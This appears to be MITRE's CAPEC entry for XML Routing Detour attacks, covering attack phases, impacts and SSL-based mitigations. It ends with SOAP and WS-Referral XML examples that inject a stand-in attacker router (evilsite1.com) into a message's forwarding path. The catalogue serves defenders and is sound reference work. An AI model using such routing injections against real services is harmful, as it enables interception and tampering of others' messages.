An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.
High
Medium

1
Explore
[Survey the target] Using command line or an automated tool, an attacker records all instances of web services to process XML requests.
Use automated tool to record all instances to process XML requests or find exposed WSDL.
Use tools to crawl WSDL

2
Experiment
[Identify SOAP messages that have multiple state processing.] Inspect instance to see whether the XML processing has multiple stages or not.
Inspect the SOAP message routing head to see whether the XML processing has multiple stages or not.

3
Exploit
[Launch an XML routing detour attack] The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message identified in the Explore phase. Thus, the attacker can route the XML message to the attacker controlled node (and access the message contents).
The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message

The targeted system must have multiple stages processing of XML content.

To inject a bogus node in the XML routing table

The attacker must be able to insert or compromise a system into the processing path for the transaction.

Integrity
Modify Data

Confidentiality
Read Data

Accountability
Authentication
Authorization
Non-Repudiation
Gain Privileges

Access Control
Authorization
Bypass Protection Mechanism

Design: Specify maximum number intermediate nodes for the request and require SSL connections with mutual authentication.
Implementation: Use SSL for connections between all parties with mutual authentication.

Here is an example SOAP call from a client, example1.com, to a target, example4.com, via 2 intermediaries, example2.com and example3.com. (note: The client here is not necessarily a 'end user client' but rather the starting point of the XML transaction).
Example SOAP message with routing information in header:

<S:Envelope><S:Header><m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"><m:action>http://example1.com/</m:action>
<m:to>http://example4.com/router</m:to>
<m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
<m:fwd> <m:via>http://example2.com/router</m:via> </m:fwd>
<m:rev /></m:path></S:Header>
<S:Body>...</S:Body></S:Envelope>

Add an additional node (example3.com/router) to the XML path in a WS-Referral message
<r:ref xmlns:r="http://schemas.example.com/referral"><r:for><r:prefix>http://example2.com/router</r:prefix></r:for>
<r:if/>
<r:go><r:via>http://example3.com/router</r:via></r:go></r:ref>

Resulting in the following SOAP Header:

<S:Envelope><S:Header><m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"><m:action>http://example1.com/</m:action>
<m:to>http://example4.com/router</m:to>
<m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
<m:fwd><m:via>http://example2.com/router</m:via>
<m:via>http://example3.com/router</m:via></m:fwd>
<m:rev /></m:path></S:Header>
<S:Body>...</S:Body></S:Envelope>

Continuing with this example, the attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header but not access the message directly on the initiator/intermediary node that they have targeted.
Example of WS-Referral based WS-Routing injection of the bogus node route:

<r:ref xmlns:r="http://schemas.example.com/referral"><r:for><r:prefix>http://example2.com/router</r:prefix></r:for>
<r:if/>
<r:go><r:via>http://evilsite1.com/router</r:via></r:go></r:ref>

Resulting XML Routing Detour attack:

<S:Envelope><S:Header><m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"><m:action>http://example_0.com/</m:action>
<m:to>http://example_4.com/router</m:to>
<m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
<m:fwd><m:via>http://example2.com/router</m:via>
<m:via>http://evilesite1.com/router</m:via>
<m:via>http://example3.com/router</m:via></m:fwd>
<m:rev /></m:path></S:Header>
<S:Body>...</S:Body></S:Envelope>

Thus, the attacker can route the XML message to the attacker controlled node (and access to the message contents).

32
Routing Detour

44
XML Entity Expansion

CAPEC Content Team
The MITRE Corporation
2014-06-23

CAPEC Content Team
The MITRE Corporation
2017-08-04
Updated Related_Attack_Patterns

CAPEC Content Team
The MITRE Corporation
2020-07-30
Updated Description, Example_Instances

CAPEC Content Team
The MITRE Corporation
2020-12-17
Updated Taxonomy_Mappings

CAPEC Content Team
The MITRE Corporation
2021-06-24
Updated Description, Example_Instances

CAPEC Content Team
The MITRE Corporation
2022-09-29
Updated Example_Instances